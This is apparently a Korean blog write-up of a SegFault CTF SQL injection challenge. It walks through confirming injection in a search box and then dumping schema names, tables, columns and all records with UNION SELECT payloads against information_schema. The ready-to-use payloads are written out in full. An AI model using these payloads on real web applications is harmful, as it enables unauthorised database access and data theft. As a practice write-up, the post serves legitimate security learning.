상세 컨텐츠

본문 제목

Segfault CTF - (6주 차) SQL Injection 1

컴퓨터/보안 - CTF문제

by 디멘터 2024. 5. 27. 12:15

본문

※ 주의 : 보안 관련 학습은 자유이지만, 학습 내용을 사용한 경우 법적 책임은 행위자에게 있습니다.
(Note: Security-related learning is allowed, but the individual is solely responsible for any legal consequences arising from the use of the acquired knowledge.)

※ CTF - Capture The Flag

※ 문제 푸는 방법이 다양할 수도 있습니다.


SegFault CTF - SQL Injection 1

 

1. 목표 : 비밀 데이터를 찾아내라! 

SQL Injection 1

 

2. Burp Suite 확인

 자바스크립트에는 특별한 것이 없었다.

→ 쿠키에 ID를 담고 있긴 했지만 null값이 들어가 있었다.

→ 역할은 잘 모르겠으나 별 의미 없는 쿠키인 것 같고,

→ CTF 제목과 같이 SQL Injection을 하라는 것 같아서 SQLi로 진행해 보았다.

 

3. 검색창 확인 및 SQL i 체크

 

→ 검색 및 데이터를 띄워주는 창으로 구성되어 있다.

a를 검색하면 Adminer, mario, normaltic 3개가 나왔다.

SQL 구문이 id like '%입력문자%' 이렇게 구성되어 있는 것 같다.

SELECT * FROM table이름 WHERE ID LIKE '%입력문자%'라고 가정하고 SQL Injection이 되는지 테스트해본다.

→ a%'#을 입력하니 a를 입력한 것 과 결과가 같았다.

r'#을 입력하니 Adminer가 나왔다.

예상한 쿼리와 결과가 일치했다.

 

4. UNION 활용

SQL i가 가능하고, 출력되는 라인이 4개라서 UNION으로 보여주는 만큼 4개 컬럼으로 쿼리를 실행하는지 체크해 본다.

%' UNION SELECT 1,2,3,4 #을 입력 후 결과 아래와 같이 결과가 출력된다.

%' union select 1,2,3,4 # 입력 결과

 

UNION이 사용가능하므로 데이터베이스 전체를 털면 되기 때문에 어렵지 않게 해결이 될 것 같다.

 

5. UNION을 활용하여 데이터베이스 명, 테이블 명, 컬럼 명, 레코드 값 확인

 

Segfault CTF - (5주 차) Login Bypass 3 [바로가기]에서 사용했던 방법들을 그대로 써본다.

 

Segfault CTF - (5주 차) Login Bypass 3

※ CTF - Capture The Flag※ 문제 푸는 방법이 다양할 수도 있습니다.SegFault CTF - Login Bypass 3 1. 주어진 정보 : 계정 하나 (ID / PW : doldol / dol1234), 목표는 normaltic3 계정으로 로그인 하기.→ 이 문제는 쉽

freestyle.tistory.com

 

▶데이터베이스 명 확인

→ ' UNION SELECT schema_name,2,3,4 FROM information_schema.schemata #을 입력하여 데이터베이스 목록을 확인한다.

→ SQL구문을 보면, DB목록이라기보다는 정확히는 스키마 목록인 듯하다.

알아보니 MySQL에서는 스키마와 데이터베이스가 거의 같은 개념으로 사용된다고 한다.

→ 물론, 현재 DB만 알고 싶으면 DATABASE()를 써도 된다. ☞  ' UNION SELECT DATABASE(),2,3,4#

데이터베이스 명 2개가 나왔다.

 

→ infomation_schema는 시스템에서 자동으로 만들어지는 스키마이고, sqli_1를 좀 더 파보자.

 

▶테이블 명 확인

→ 테이블 명을 확인해 본다.

999' UNION SELECT 'sqli_1',table_name,3,4 FROM information_schema.tables WHERE table_schema = 'sqli_1'#을 입력하면 테이블 명이 나올 것이다.

sqli_1 DB의 테이블 3개가 나온다.

 

▶컬럼 명 확인

→ 이제, 속성(컬럼) 명을 알아보자.

알아낸 정보를 바탕으로, 깔끔하게 표시하기 위해 아래 구문을 만들어서 입력해 준다.

999'
UNION SELECT 'sqli_1','flag_taable',COLUMN_NAME,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'sqli_1' AND TABLE_NAME = 'flag_table'
UNION  SELECT 'sqli_1','plusFlag_Table',COLUMN_NAME,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'sqli_1' AND TABLE_NAME = 'plusFlag_Table'
UNION  SELECT 'sqli_1','user_info',COLUMN_NAME,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'sqli_1' AND TABLE_NAME = 'user_info'#

을 입력한다.

 

DB명 - 테이블 명 - 컬럼 명까지 나왔다.

 

 

▶레코드 값 확인

이제 실질적인 값을 알아보자

999'
UNION SELECT 'sqli_1', 'flag_taable','flag',flag FROM flag_table
UNION SELECT 'sqli_1', 'plusFlag_Table','idx',idx FROM plusFlag_Table
UNION SELECT 'sqli_1', 'plusFlag_Table','flag',flag FROM plusFlag_Table
UNION SELECT 'sqli_1', 'user_info','id',id FROM user_info
UNION SELECT 'sqli_1', 'user_info','level',level FROM user_info
UNION SELECT 'sqli_1', 'user_info','rank_point',rank_point FROM user_info
UNION SELECT 'sqli_1', 'user_info','rate',rate FROM user_info #

을 입력해 본다.

sqli_1 DB의 모든 데이터

 

6. 결과

sqli_1 DB의 모든 데이터를 한 표에 표시했다.

user_info 테이블에서는 비밀데이터가 없었다.

플래그로 보이는 데이터 2개가 나왔다.

의미가 맞는 플래그를 넣어본다. 성공!

관련글 더보기